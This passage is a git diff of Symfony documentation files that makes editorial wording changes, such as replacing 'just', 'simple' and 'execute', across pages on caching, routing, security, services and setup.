diff --git a/http_cache/expiration.rst b/http_cache/expiration.rst
index f7588a5e4e6..d30893b58fe 100644
--- a/http_cache/expiration.rst
+++ b/http_cache/expiration.rst
@@ -53,8 +53,7 @@ Expiration with the ``Expires`` Header
 --------------------------------------
 
 An alternative to the ``Cache-Control`` header is ``Expires``. There's no advantage
-or disadvantage to either: they're just different ways to set expiration caching
-on your response.
+or disadvantage to either.
 
 According to the HTTP specification, "the ``Expires`` header field gives
 the date/time after which the response is considered stale." The ``Expires``
diff --git a/http_cache/validation.rst b/http_cache/validation.rst
index 24d3711cfe5..3a1dabf902e 100644
--- a/http_cache/validation.rst
+++ b/http_cache/validation.rst
@@ -48,7 +48,7 @@ An ``ETag`` is like a fingerprint and is used to quickly compare if two
 different versions of a resource are equivalent. Like fingerprints, each
 ``ETag`` must be unique across all representations of the same resource.
 
-To see a simple implementation, generate the ``ETag`` as the ``md5`` of the
+To see a short implementation, generate the ``ETag`` as the ``md5`` of the
 content::
 
     // src/Controller/DefaultController.php
@@ -96,8 +96,8 @@ to 304.
     app. This is how the cache and server communicate with each other and
     decide whether or not the resource has been updated since it was cached.
 
-This algorithm is simple enough and very generic, but you need to create the
-whole ``Response`` before being able to compute the ``ETag``, which is sub-optimal.
+This algorithm works and is very generic, but you need to create the whole
+``Response`` before being able to compute the ``ETag``, which is sub-optimal.
 In other words, it saves on bandwidth, but not CPU cycles.
 
 In the :ref:`optimizing-cache-validation` section, you'll see how validation
@@ -185,8 +185,7 @@ Optimizing your Code with Validation
 
 The main goal of any caching strategy is to lighten the load on the application.
 Put another way, the less you do in your application to return a 304 response,
-the better. The ``Response::isNotModified()`` method does exactly that by
-exposing a simple and efficient pattern::
+the better. The ``Response::isNotModified()`` method does exactly that::
 
     // src/Controller/ArticleController.php
     namespace App\Controller;
diff --git a/http_cache/varnish.rst b/http_cache/varnish.rst
index f28a53e09b0..dd38b717ea8 100644
--- a/http_cache/varnish.rst
+++ b/http_cache/varnish.rst
@@ -53,7 +53,7 @@ header. In this case, you need to add the following configuration snippet:
 Cookies and Caching
 -------------------
 
-By default, a sane caching proxy does not cache anything when a request is sent
+By default, most caching proxies do not cache anything when a request is sent
 with :ref:`cookies or a basic authentication header <http-cache-introduction>`.
 This is because the content of the page is supposed to depend on the cookie
 value or authentication header.
diff --git a/introduction/from_flat_php_to_symfony.rst b/introduction/from_flat_php_to_symfony.rst
index 85b5f3612d4..40a421f85dd 100644
--- a/introduction/from_flat_php_to_symfony.rst
+++ b/introduction/from_flat_php_to_symfony.rst
@@ -14,7 +14,7 @@ is around Symfony, this article is for you. Instead of *telling* you that
 Symfony allows you to develop faster and better software than with flat PHP,
 you'll see for yourself.
 
-In this article, you'll write a simple application in flat PHP, and then
+In this article, you'll write a basic application in flat PHP, and then
 refactor it to be more organized. You'll travel through time, seeing the
 decisions behind why web development has evolved over the past several years
 to where it is now.
@@ -22,8 +22,8 @@ to where it is now.
 By the end, you'll see how Symfony can rescue you from mundane tasks and
 let you take back control of your code.
 
-A Simple Blog in Flat PHP
--------------------------
+A Basic Blog in Flat PHP
+------------------------
 
 In this article, you'll build the token blog application using only flat PHP.
 To begin, create a single page that displays blog entries that have been
@@ -61,7 +61,7 @@ persisted to the database. Writing in flat PHP is quick and dirty:
     $connection = null;
     ?>
 
-That's quick to write, fast to execute, and, as your app grows, impossible
+That's quick to write, fast to deploy and run, and, as your app grows, impossible
 to maintain. There are several problems that need to be addressed:
 
 * **No error-checking**: What if the connection to the database fails?
@@ -181,7 +181,7 @@ of the application are isolated in a new file called ``model.php``::
     in this example, only a portion (or none) of the model is actually concerned
     with accessing a database.
 
-The controller (``index.php``) is now just a few lines of code::
+The controller (``index.php``) is now only a few lines of code::
 
     // index.php
     require_once 'model.php';
@@ -390,7 +390,7 @@ functions) is called. In reality, the front controller is beginning to look and
 act a lot like how Symfony handles and routes requests.
 
 But be careful not to confuse the terms *front controller* and *controller*. Your
-app will usually have just *one* front controller, which boots your code. You will
+app will usually have only *one* front controller, which boots your code. You will
 have *many* controller functions: one for each page.
 
 .. tip::
@@ -527,12 +527,11 @@ The Sample Application in Symfony
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
 The blog has come a *long* way, but it still contains a lot of code for such
-a simple application. Along the way, you've made a simple routing
-system and a method using ``ob_start()`` and ``ob_get_clean()`` to render
-templates. If, for some reason, you needed to continue building this "framework"
-from scratch, you could at least use Symfony's standalone
-:doc:`Routing </routing>` component and :doc:`Twig </templates>`, which
-already solve these problems.
+a basic application. Along the way, you've made a basic routing system and
+a method using ``ob_start()`` and ``ob_get_clean()`` to render templates.
+If, for some reason, you needed to continue building this "framework" from
+scratch, you could at least use Symfony's standalone :doc:`Routing </routing>`
+component and :doc:`Twig </templates>`, which already solve these problems.
 
 Instead of re-solving common problems, you can let Symfony take care of
 them for you. Here's the same sample application, now built in Symfony::
@@ -623,7 +622,7 @@ The ``layout.php`` file is nearly identical:
     really similar to updating the ``list.html.twig`` template.
 
 When Symfony's engine (called the Kernel) boots up, it needs a map so
-that it knows which controllers to execute based on the request information.
+that it knows which controllers to call based on the request information.
 A routing configuration map - ``config/routes.yaml`` - provides this information
 in a readable format:
 
@@ -655,8 +654,8 @@ The front controller's only job is to initialize Symfony's engine (called the
 Kernel) and pass it a ``Request`` object to handle. The Symfony core
 asks the router to inspect the request. The router matches the incoming URL
 to a specific route and returns information about the route, including the
-controller that should be executed. The correct controller from the matched
-route is executed and your code inside the controller creates and returns the
+controller that should be called. The correct controller from the matched
+route is called and your code inside the controller creates and returns the
 appropriate ``Response`` object. The HTTP headers and content of the ``Response``
 object are sent back to the client.
 
diff --git a/logging/monolog_console.rst b/logging/monolog_console.rst
index f3c67160283..9eb8b28b062 100644
--- a/logging/monolog_console.rst
+++ b/logging/monolog_console.rst
@@ -7,7 +7,7 @@ How to Configure Monolog to Display Console Messages
 It is possible to use the console to print messages for certain
 :doc:`verbosity levels </console/verbosity>` using the
 :class:`Symfony\\Component\\Console\\Output\\OutputInterface` instance that
-is passed when a command gets executed.
+is passed when a command is run.
 
 When a lot of logging has to happen, it's cumbersome to print information
 depending on the verbosity settings (``-v``, ``-vv``, ``-vvv``) because the
diff --git a/mailer.rst b/mailer.rst
index fa737357967..8d779d6bb2b 100644
--- a/mailer.rst
+++ b/mailer.rst
@@ -675,7 +675,7 @@ Inky Email Templating Language
 
 Creating beautifully designed emails that work on every email client is so
 complex that there are HTML/CSS frameworks dedicated to that. One of the most
-popular frameworks is called `Inky`_. It defines a syntax based on some simple
+popular frameworks is called `Inky`_. It defines a syntax based on some HTML-like
 tags which are later transformed into the real HTML code sent to users:
 
 .. code-block:: html
diff --git a/messenger.rst b/messenger.rst
index 3c92d19b0a4..7a4a9afccc2 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -984,22 +984,22 @@ The transport has a number of options:
 
 Options defined under ``options`` take precedence over ones defined in the DSN.
 
-==================  ===================================  ======================
-     Option         Description                          Default
-==================  ===================================  ======================
-table_name          Name of the table                    messenger_messages
-queue_name          Name of the queue (a column in the   default
+==================  =====================================  ======================
+     Option         Description                            Default
+==================  =====================================  ======================
+table_name          Name of the table                      messenger_messages
+queue_name          Name of the queue (a column in the     default
                     table, to use one table for
                     multiple transports)
-redeliver_timeout   Timeout before retrying a message    3600
+redeliver_timeout   Timeout before retrying a message      3600
                     that's in the queue but in the
-                    "handling" state (if a worker died
+                    "handling" state (if a worker stopped
                     for some reason, this will occur,
                     eventually you should retry the
                     message) - in seconds.
 auto_setup          Whether the table should be created
-                    automatically during send / get.     true
-==================  ===================================  ======================
+                    automatically during send / get.       true
+==================  =====================================  ======================
 
 Redis Transport
 ~~~~~~~~~~~~~~~
diff --git a/messenger/dispatch_after_current_bus.rst b/messenger/dispatch_after_current_bus.rst
index e5dac59203e..c2b85c2aaad 100644
--- a/messenger/dispatch_after_current_bus.rst
+++ b/messenger/dispatch_after_current_bus.rst
@@ -4,7 +4,7 @@
 Transactional Messages: Handle New Messages After Handling is Done
 ==================================================================
 
-A message handler can ``dispatch`` new messages during execution, to either the
+A message handler can ``dispatch`` new messages while handling others, to either the
 same or a different bus (if the application has
 :doc:`multiple buses </messenger/multiple_buses>`). Any errors or exceptions that
 occur during this process can have unintended consequences, such as:
diff --git a/page_creation.rst b/page_creation.rst
index 4711685ae3d..0e82596dfac 100644
--- a/page_creation.rst
+++ b/page_creation.rst
@@ -63,7 +63,7 @@ random) number and prints it. To do that, create a "Controller" class and a
     }
 
 Now you need to associate this controller function with a public URL (e.g. ``/lucky/number``)
-so that the ``number()`` method is executed when a user browses to it. This association
+so that the ``number()`` method is called when a user browses to it. This association
 is defined by creating a **route** in the ``config/routes.yaml`` file:
 
 .. code-block:: yaml
@@ -136,7 +136,7 @@ special things happened, both thanks to a powerful Composer plugin called
 First, ``annotations`` isn't a real package name: it's an *alias* (i.e. shortcut)
 that Flex resolves to ``sensio/framework-extra-bundle``.
 
-Second, after this package was downloaded, Flex executed a *recipe*, which is a
+Second, after this package was downloaded, Flex runs a *recipe*, which is a
 set of automated instructions that tell Symfony how to integrate an external
 package. `Flex recipes`_ exist for many packages and have the ability
 to do a lot, like adding configuration files, creating directories, updating ``.gitignore``
@@ -179,21 +179,22 @@ You'll learn about many more commands as you continue!
 The Web Debug Toolbar: Debugging Dream
 --------------------------------------
 
-One of Symfony's *killer* features is the Web Debug Toolbar: a bar that displays
+One of Symfony's *amazing* features is the Web Debug Toolbar: a bar that displays
 a *huge* amount of debugging information along the bottom of your page while
 developing. This is all included out of the box using a :ref:`Symfony pack <symfony-packs>`
 called ``symfony/profiler-pack``.
 
-You will see a black bar along the bottom of the page. You'll learn more about all the information it holds
-along the way, but feel free to experiment: hover over and click
-the different icons to get information about routing, performance, logging and more.
+You will see a dark bar along the bottom of the page. You'll learn more about
+all the information it holds along the way, but feel free to experiment: hover
+over and click the different icons to get information about routing,
+performance, logging and more.
 
 Rendering a Template
 --------------------
 
 If you're returning HTML from your controller, you'll probably want to render
 a template. Fortunately, Symfony comes with `Twig`_: a templating language that's
-easy, powerful and actually quite fun.
+minimal, powerful and actually quite fun.
 
 Install the twig package with:
 
diff --git a/profiler/data_collector.rst b/profiler/data_collector.rst
index 41378ab6464..292047b5dc7 100644
--- a/profiler/data_collector.rst
+++ b/profiler/data_collector.rst
@@ -82,7 +82,7 @@ request::
 The ``collect()`` method is called during the :ref:`kernel.response <component-http-kernel-kernel-response>`
 event. If you need to collect data that is only available later, implement
 :class:`Symfony\\Component\\HttpKernel\\DataCollector\\LateDataCollectorInterface`
-and define the ``lateCollect()`` method, which is invoked just before the profiler
+and define the ``lateCollect()`` method, which is invoked right before the profiler
 data serialization (during :ref:`kernel.terminate <component-http-kernel-kernel-terminate>` event).
 
 .. _data_collector_tag:
@@ -127,7 +127,7 @@ template access to the collected information::
         }
     }
 
-In the simplest case, you just want to display the information in the toolbar
+In the simplest case, you want to display the information in the toolbar
 without providing a profiler panel. This requires to define the ``toolbar``
 block and set the value of two variables called ``icon`` and ``text``:
 
diff --git a/routing.rst b/routing.rst
index fb7a6a4e67b..117fd75bded 100644
--- a/routing.rst
+++ b/routing.rst
@@ -4,7 +4,7 @@
 Routing
 =======
 
-When your application receives a request, it executes a
+When your application receives a request, it calls a
 :doc:`controller action </controller>` to generate the response. The routing
 configuration defines which action to run for each incoming URL. It also
 provides other useful features, like generating SEO-friendly URLs (e.g.
diff --git a/routing/custom_route_loader.rst b/routing/custom_route_loader.rst
index b893bf0114e..b438ed7bb11 100644
--- a/routing/custom_route_loader.rst
+++ b/routing/custom_route_loader.rst
@@ -4,7 +4,7 @@
 How to Create a custom Route Loader
 ===================================
 
-Simple applications can define all their routes in a single configuration file -
+Basic applications can define all their routes in a single configuration file -
 usually ``config/routes.yaml`` (see :ref:`routing-creating-routes`).
 However, in most applications it's common to import routes definitions from
 different resources: PHP annotations in controller files, YAML, XML or PHP
diff --git a/routing/routing_from_database.rst b/routing/routing_from_database.rst
index 01281de39a8..03016259127 100644
--- a/routing/routing_from_database.rst
+++ b/routing/routing_from_database.rst
@@ -22,7 +22,7 @@ For these cases, the ``DynamicRouter`` offers an alternative approach:
 
 When all routes are known during deploy time and the number is not too
 high, using a :doc:`custom route loader <custom_route_loader>` is the
-preferred way to add more routes. When working with just one type of
+preferred way to add more routes. When working with only one type of
 objects, a slug parameter on the object and the ``@ParamConverter``
 annotation work fine (see `FrameworkExtraBundle`_) .
 
diff --git a/security.rst b/security.rst
index dce03a9c2cb..ebeca1b9b5b 100644
--- a/security.rst
+++ b/security.rst
@@ -288,7 +288,7 @@ A "firewall" is your authentication system: the configuration below it defines
 
 Only one firewall is active on each request: Symfony uses the ``pattern`` key
 to find the first match (you can also :doc:`match by host or other things </security/firewall_restriction>`).
-The ``dev`` firewall is really a fake firewall: it just makes sure that you don't
+The ``dev`` firewall is really a fake firewall: it makes sure that you don't
 accidentally block Symfony's dev tools - which live under URLs like ``/_profiler``
 and ``/_wdt``.
 
@@ -602,7 +602,7 @@ You can deny access from inside a controller::
 
 That's it! If access is not granted, a special
 :class:`Symfony\\Component\\Security\\Core\\Exception\\AccessDeniedException`
-is thrown and no more code in your controller is executed. Then, one of two things
+is thrown and no more code in your controller is called. Then, one of two things
 will happen:
 
 1) If the user isn't logged in yet, they will be asked to log in (e.g. redirected
@@ -678,8 +678,8 @@ Checking to see if a User is Logged In (IS_AUTHENTICATED_FULLY)
 
 If you *only* want to check if a user is logged in (you don't care about roles),
 you have two options. First, if you've given *every* user ``ROLE_USER``, you can
-just check for that role. Otherwise, you can use a special "attribute" in place
-of a role::
+check for that role. Otherwise, you can use a special "attribute" in place of a
+role::
 
     // ...
 
diff --git a/security/access_control.rst b/security/access_control.rst
index 51734876cdc..efae1e628d1 100644
--- a/security/access_control.rst
+++ b/security/access_control.rst
@@ -270,7 +270,7 @@ the external IP address ``10.0.0.1``:
 * The second access control rule is enabled (the only restriction being the
   ``path``) and so it matches. If you make sure that no users ever have
   ``ROLE_NO_ACCESS``, then access is denied (``ROLE_NO_ACCESS`` can be anything
-  that does not match an existing role, it just serves as a trick to always
+  that does not match an existing role, it only serves as a trick to always
   deny access).
 
 But if the same request comes from ``127.0.0.1`` or ``::1`` (the IPv6 loopback
diff --git a/security/access_denied_handler.rst b/security/access_denied_handler.rst
index a6800e2f0f0..e9e780e75ef 100644
--- a/security/access_denied_handler.rst
+++ b/security/access_denied_handler.rst
@@ -10,7 +10,7 @@ with a service to return a custom response.
 First, create a class that implements
 :class:`Symfony\\Component\\Security\\Http\\Authorization\\AccessDeniedHandlerInterface`.
 This interface defines one method called ``handle()`` where you can implement whatever
-logic that should execute when access is denied for the current user (e.g. send a
+logic that should run when access is denied for the current user (e.g. send a
 mail, log a message, or generally return a custom response)::
 
     namespace App\Security;
diff --git a/security/csrf.rst b/security/csrf.rst
index b6186705c1c..d54bfc43770 100644
--- a/security/csrf.rst
+++ b/security/csrf.rst
@@ -68,7 +68,7 @@ protected forms. As an alternative, you can:
   cache the rest of the page contents;
 * Cache the entire page and load the form via an uncached AJAX request;
 * Cache the entire page and use :doc:`hinclude.js </templating/hinclude>` to
-  load just the CSRF token with an uncached AJAX request and replace the form
+  load the CSRF token with an uncached AJAX request and replace the form
   field value with it.
 
 CSRF Protection in Symfony Forms
@@ -133,7 +133,7 @@ Although Symfony Forms provide automatic CSRF protection by default, you may
 need to generate and check CSRF tokens manually for example when using regular
 HTML forms not managed by the Symfony Form component.
 
-Consider a simple HTML form created to allow deleting items. First, use the
+Consider a HTML form created to allow deleting items. First, use the
 :ref:`csrf_token() Twig function <reference-twig-function-csrf-token>` to
 generate a CSRF token in the template and store it as a hidden form field:
 
diff --git a/security/form_login_setup.rst b/security/form_login_setup.rst
index 1f48401571f..c52847f0dcc 100644
--- a/security/form_login_setup.rst
+++ b/security/form_login_setup.rst
@@ -143,7 +143,7 @@ Edit the ``security.yaml`` file in order to declare the ``/logout`` path:
             ],
         ]);
 
-**Step 2.** The template has very little to do with security: it just generates
+**Step 2.** The template has very little to do with security: it generates
 a traditional HTML form that submits to ``/login``:
 
 .. code-block:: html+twig
@@ -405,8 +405,6 @@ Controlling Error Messages
 
 You can cause authentication to fail with a custom message at any step by throwing
 a custom :class:`Symfony\\Component\\Security\\Core\\Exception\\CustomUserMessageAuthenticationException`.
-This is an easy way to control the error message.
-
 But in some cases, like if you return ``false`` from ``checkCredentials()``, you
 may see an error that comes from the core of Symfony - like ``Invalid credentials.``.
 
diff --git a/security/guard_authentication.rst b/security/guard_authentication.rst
index b229fe733af..6659a4a38f6 100644
--- a/security/guard_authentication.rst
+++ b/security/guard_authentication.rst
@@ -22,8 +22,8 @@ on each request with their API token. Your job is to read this and find the asso
 user (if any).
 
 First, make sure you've followed the main :doc:`Security Guide </security>` to
-create your ``User`` class. Then, to keep things simple, add an ``apiToken`` property
-directly to your ``User`` class (the ``make:entity`` command is a good way to do this):
+create your ``User`` class. Then add an ``apiToken`` property directly to
+your ``User`` class (the ``make:entity`` command is a good way to do this):
 
 .. code-block:: diff
 
@@ -42,7 +42,7 @@ directly to your ``User`` class (the ``make:entity`` command is a good way to do
         // the getter and setter methods
     }
 
-Don't forget to generate and execute the migration:
+Don't forget to generate and run the migration:
 
 .. code-block:: terminal
 
@@ -490,7 +490,7 @@ Frequently Asked Questions
 --------------------------
 
 **Can I have Multiple Authenticators?**
-    Yes! But when you do, you'll need to choose just *one* authenticator to be your
+    Yes! But when you do, you'll need to choose only *one* authenticator to be your
     "entry_point". This means you'll need to choose *which* authenticator's ``start()``
     method should be called when an anonymous user tries to access a protected resource.
     For more details, see :doc:`/security/multiple_guard_authenticators`.
@@ -501,12 +501,12 @@ Frequently Asked Questions
     collide with other ways to authenticate.
 
 **Can I use this with FOSUserBundle?**
-    Yes! Actually, FOSUserBundle doesn't handle security: it simply gives you a
+    Yes! Actually, FOSUserBundle doesn't handle security: it only gives you a
     ``User`` object and some routes and controllers to help with login, registration,
     forgot password, etc. When you use FOSUserBundle, you typically use ``form_login``
     to actually authenticate the user. You can continue doing that (see previous
     question) or use the ``User`` object from FOSUserBundle and create your own
-    authenticator(s) (just like in this article).
+    authenticator(s) (like in this article).
 
 .. _`Social Authentication`: https://github.com/knpuniversity/oauth2-client-bundle#authenticating-with-guard
 .. _`HWIOAuthBundle`: https://github.com/hwi/HWIOAuthBundle
diff --git a/security/json_login_setup.rst b/security/json_login_setup.rst
index 060821704e2..e1ec17e8587 100644
--- a/security/json_login_setup.rst
+++ b/security/json_login_setup.rst
@@ -133,7 +133,7 @@ system intercepts the request and initiates the authentication process:
 
 Symfony takes care of authenticating the user with the submitted username and
 password or triggers an error in case the authentication process fails. If the
-authentication is successful, the controller defined earlier will be executed.
+authentication is successful, the controller defined earlier will be called.
 
 If the JSON document has a different structure, you can specify the path to
 access the ``username`` and ``password`` properties using the ``username_path``
diff --git a/security/remember_me.rst b/security/remember_me.rst
index 6078f1195ed..a2fa1bcda96 100644
--- a/security/remember_me.rst
+++ b/security/remember_me.rst
@@ -278,7 +278,7 @@ so ``DoctrineTokenProvider`` can store the tokens:
             ]);
 
 Finally, set the ``token_provider`` option of the ``remember_me`` config to the
-service you just created:
+service you created before:
 
 .. configuration-block::
 
diff --git a/security/voters.rst b/security/voters.rst
index 061e0c86fd6..98ba54519af 100644
--- a/security/voters.rst
+++ b/security/voters.rst
@@ -202,7 +202,7 @@ To recap, here's what's expected from the two abstract methods:
 
 ``voteOnAttribute($attribute, $subject, TokenInterface $token)``
     If you return ``true`` from ``supports()``, then this method is called. Your
-    job is simple: return ``true`` to allow access and ``false`` to deny access.
+    job is to return ``true`` to allow access and ``false`` to deny access.
     The ``$token`` can be used to find the current user object (if any). In this
     example, all of the complex business logic is included to determine access.
 
@@ -216,7 +216,7 @@ and tag it with ``security.voter``. But if you're using the
 :ref:`default services.yaml configuration <service-container-services-load-example>`,
 that's done automatically for you! When you
 :ref:`call isGranted() with view/edit and pass a Post object <how-to-use-the-voter-in-a-controller>`,
-your voter will be executed and you can control access.
+your voter will be called and you can control access.
 
 Checking for Roles inside a Voter
 ---------------------------------
diff --git a/service_container.rst b/service_container.rst
index d918f590f7f..69f99fd2282 100644
--- a/service_container.rst
+++ b/service_container.rst
@@ -115,7 +115,7 @@ it can't be re-used. Instead, you decide to create a new class::
         }
     }
 
-Congratulations! You've just created your first service class! You can use it immediately
+Congratulations! You've created your first service class! You can use it immediately
 inside your controller::
 
     use App\Service\MessageGenerator;
@@ -257,7 +257,7 @@ find the matching service. If it can't, you'll see a clear exception with a help
 suggestion.
 
 By the way, this method of adding dependencies to your ``__construct()`` method is
-called *dependency injection*. It's a scary term for a simple concept.
+called *dependency injection*.
 
 .. _services-debug-container-types:
 
diff --git a/service_container/3.3-di-changes.rst b/service_container/3.3-di-changes.rst
index e9a4fca1c86..eccdc590db4 100644
--- a/service_container/3.3-di-changes.rst
+++ b/service_container/3.3-di-changes.rst
@@ -386,7 +386,7 @@ as before. But now that your controllers are services, you can use dependency in
 and autowiring like any other service.
 
 To make life even easier, it's now possible to autowire arguments to your controller
-action methods, just like you can with the constructor of services. For example::
+action methods, like you can with the constructor of services. For example::
 
     use Psr\Log\LoggerInterface;
 
diff --git a/service_container/alias_private.rst b/service_container/alias_private.rst
index e9088ad4cfc..bac0b8fdc5f 100644
--- a/service_container/alias_private.rst
+++ b/service_container/alias_private.rst
@@ -80,11 +80,9 @@ from the container::
 
     $container->get(Foo::class);
 
-Simply said: A service can be marked as private if you do not want to access
-it directly from your code.
-
-However, if a service has been marked as private, you can still alias it
-(see below) to access this service (via the alias).
+Thus, a service can be marked as private if you do not want to access it
+directly from your code. However, if a service has been marked as private,
+you can still alias it (see below) to access this service (via the alias).
 
 .. _services-alias:
 
diff --git a/service_container/configurators.rst b/service_container/configurators.rst
index 01029d96181..92c1afc5794 100644
--- a/service_container/configurators.rst
+++ b/service_container/configurators.rst
@@ -193,8 +193,7 @@ all the classes are already loaded as services. All you need to do is specify th
     Invokable configurators for services were introduced in Symfony 4.3.
 
 Services can be configured via invokable configurators (replacing the
-``configure()`` method with ``__invoke()``) by omitting the method name, just as
-routes can reference :ref:`invokable controllers <controller-service-invoke>`.
+``configure()`` method with ``__invoke()``) by omitting the method name:
 
 .. configuration-block::
 
diff --git a/service_container/expression_language.rst b/service_container/expression_language.rst
index 62f469ed59d..9ba64eee074 100644
--- a/service_container/expression_language.rst
+++ b/service_container/expression_language.rst
@@ -77,7 +77,7 @@ In this context, you have access to 2 functions:
 ``service``
     Returns a given service (see the example above).
 ``parameter``
-    Returns a specific parameter value (syntax is just like ``service``).
+    Returns a specific parameter value (syntax is like ``service``).
 
 You also have access to the :class:`Symfony\\Component\\DependencyInjection\\Container`
 via a ``container`` variable. Here's another example:
diff --git a/service_container/factories.rst b/service_container/factories.rst
index 3da70636b22..91c37df7ca5 100644
--- a/service_container/factories.rst
+++ b/service_container/factories.rst
@@ -186,8 +186,7 @@ factory service can be used as a callback::
     Invokable factories for services were introduced in Symfony 4.3.
 
 Services can be created and configured via invokable factories by omitting the
-method name, just as routes can reference
-:ref:`invokable controllers <controller-service-invoke>`.
+method name:
 
 .. configuration-block::
 
diff --git a/service_container/injection_types.rst b/service_container/injection_types.rst
index 983d2311b49..ceb586b02b3 100644
--- a/service_container/injection_types.rst
+++ b/service_container/injection_types.rst
@@ -205,8 +205,9 @@ so, here's the advantages of immutable-setters:
 
 The disadvantages are:
 
-* As the setter call is optional, a dependency can be null during execution,
-  you must check that the dependency is available before calling it.
+* As the setter call is optional, a dependency can be null when calling
+  methods of the service. You must check that the dependency is available
+  before using it.
 
 * Unless the service is declared lazy, it is incompatible with services
   that reference each other in what are called circular loops.
@@ -294,10 +295,10 @@ This time the advantages are:
 
 The disadvantages of setter injection are:
 
-* The setter can be called more than just at the time of construction so
-  you cannot be sure the dependency is not replaced during the lifetime
-  of the object (except by explicitly writing the setter method to check
-  if it has already been called).
+* The setter can be called more than once, also long after initialization,
+  so you cannot be sure the dependency is not replaced during the lifetime
+  of the object (except by explicitly writing the setter method to check if
+  it has already been called).
 
 * You cannot be sure the setter will be called and so you need to add checks
   that any required dependencies are injected.
diff --git a/service_container/lazy_services.rst b/service_container/lazy_services.rst
index 0370e52b0ff..936316bb029 100644
--- a/service_container/lazy_services.rst
+++ b/service_container/lazy_services.rst
@@ -20,7 +20,7 @@ in order to construct your ``NewsletterManager``.
 
 Configuring lazy services is one answer to this. With a lazy service, a
 "proxy" of the ``mailer`` service is actually injected. It looks and acts
-just like the ``mailer``, except that the ``mailer`` isn't actually instantiated
+like the ``mailer``, except that the ``mailer`` isn't actually instantiated
 until you interact with the proxy in some way.
 
 .. caution::
diff --git a/service_container/parent_services.rst b/service_container/parent_services.rst
index 47911f9fe13..561721a2a8a 100644
--- a/service_container/parent_services.rst
+++ b/service_container/parent_services.rst
@@ -58,9 +58,8 @@ Your child service classes may look like this::
         // ...
     }
 
-Just as you use PHP inheritance to avoid duplication in your PHP code, the
-service container allows you to extend parent services in order to avoid
-duplicated service definitions:
+The service container allows you to extend parent services in order to
+avoid duplicated service definitions:
 
 .. configuration-block::
 
diff --git a/service_container/service_subscribers_locators.rst b/service_container/service_subscribers_locators.rst
index d9d2093b5c3..d6a13afd013 100644
--- a/service_container/service_subscribers_locators.rst
+++ b/service_container/service_subscribers_locators.rst
@@ -13,7 +13,7 @@ the explicit dependency injection since services are not all meant to
 be ``lazy`` (see :doc:`/service_container/lazy_services`).
 
 This can typically be the case in your controllers, where you may inject several
-services in the constructor, but the action executed only uses some of them.
+services in the constructor, but the action called only uses some of them.
 Another example are applications that implement the `Command pattern`_
 using a CommandBus to map command handlers by Command class names and use them
 to handle their respective command when it is asked for::
diff --git a/service_container/tags.rst b/service_container/tags.rst
index ff56d90c73f..cfd83697808 100644
--- a/service_container/tags.rst
+++ b/service_container/tags.rst
@@ -55,7 +55,7 @@ initialization of TwigBundle and added to Twig as extensions.
 Other tags are used to integrate your services into other systems. For a list of
 all the tags available in the core Symfony Framework, check out
 :doc:`/reference/dic_tags`. Each of these has a different effect on your service
-and many tags require additional arguments (beyond just the ``name`` parameter).
+and many tags require additional arguments (beyond the ``name`` parameter).
 
 **For most users, this is all you need to know**. If you want to go further and
 learn how to create your own custom tags, keep reading.
diff --git a/setup.rst b/setup.rst
index d75c46346a8..2f39564d40c 100644
--- a/setup.rst
+++ b/setup.rst
@@ -170,10 +170,10 @@ following example:
     $ cd my-project/
     $ composer require logger
 
-If you execute that command in a Symfony application which doesn't use Flex,
-you'll see a Composer error explaining that ``logger`` is not a valid package
-name. However, if the application has Symfony Flex installed, that command
-installs and enables all the packages needed to use the official Symfony logger.
+If you run that command in a Symfony application which doesn't use Flex, you'll
+see a Composer error explaining that ``logger`` is not a valid package name.
+However, if the application has Symfony Flex installed, that command installs
+and enables all the packages needed to use the official Symfony logger.
 
 .. _recipes-description:
 
diff --git a/setup/built_in_web_server.rst b/setup/built_in_web_server.rst
index 506e7d60f9c..70432ed342e 100644
--- a/setup/built_in_web_server.rst
+++ b/setup/built_in_web_server.rst
@@ -40,7 +40,7 @@ Move into your project directory and run this command:
 Starting the Web Server
 -----------------------
 
-To run a Symfony application using PHP's built-in web server, execute the
+To run a Symfony application using PHP's built-in web server, run the
 ``server:start`` command:
 
 .. code-block:: terminal
diff --git a/setup/homestead.rst b/setup/homestead.rst
index 9802122a20d..d9526949b55 100644
--- a/setup/homestead.rst
+++ b/setup/homestead.rst
@@ -28,7 +28,7 @@ Setting Up a Symfony Application
 
 Imagine you've installed your Symfony application in
 ``~/projects/symfony_demo`` on your local system. You first need Homestead to
-sync your files in this project. Execute ``homestead edit`` to edit the
+sync your files in this project. Run ``homestead edit`` to edit the
 Homestead configuration and configure the ``~/projects`` directory:
 
 .. code-block:: yaml
diff --git a/setup/symfony_server.rst b/setup/symfony_server.rst
index 0068cabf193..f942fde3f12 100644
--- a/setup/symfony_server.rst
+++ b/setup/symfony_server.rst
@@ -9,7 +9,7 @@ Although this server is not intended for production use, it supports HTTP/2,
 TLS/SSL, automatic generation of security certificates, local domains, and many
 other features that sooner or later you'll need when developing web projects.
 Moreover, the server is not tied to Symfony and you can also use it with any
-PHP application and even with HTML/SPA (single page applications).
+PHP application and even with HTML or single page applications.
 
 Installation
 ------------
diff --git a/setup/unstable_versions.rst b/setup/unstable_versions.rst
index be199a783d5..27036493fd4 100644
--- a/setup/unstable_versions.rst
+++ b/setup/unstable_versions.rst
@@ -11,14 +11,14 @@ Creating a New Project Based on an Unstable Symfony Version
 Suppose that the Symfony 4.0 version hasn't been released yet and you want to create
 a new project to test its features. First, `install the Composer package manager`_.
 Then, open a command console, enter your project's directory and
-execute the following command:
+run the following command:
 
 .. code-block:: terminal
 
     # Download the absolute latest commit
     $ composer create-project symfony/skeleton my_project -s dev
 
-Once the command finishes its execution, you'll have a new Symfony project created
+Once the command finishes, you'll have a new Symfony project created
 in the ``my_project/`` directory.
 
 Upgrading your Project to an Unstable Symfony Version
diff --git a/setup/upgrade_major.rst b/setup/upgrade_major.rst
index f22c92aa4bd..89f80ae109f 100644
--- a/setup/upgrade_major.rst
+++ b/setup/upgrade_major.rst
@@ -47,7 +47,7 @@ in your browser, these notices are shown in the web dev toolbar:
    :class: with-browser
 
 Ultimately, you should aim to stop using the deprecated functionality.
-Sometimes, this is easy: the warning might tell you exactly what to change.
+Sometimes the warning might tell you exactly what to change.
 
 But other times, the warning might be unclear: a setting somewhere might
 cause a class deeper to trigger the warning. In this case, Symfony does its
diff --git a/setup/upgrade_minor.rst b/setup/upgrade_minor.rst
index 89c83f5c160..09a88124fa8 100644
--- a/setup/upgrade_minor.rst
+++ b/setup/upgrade_minor.rst
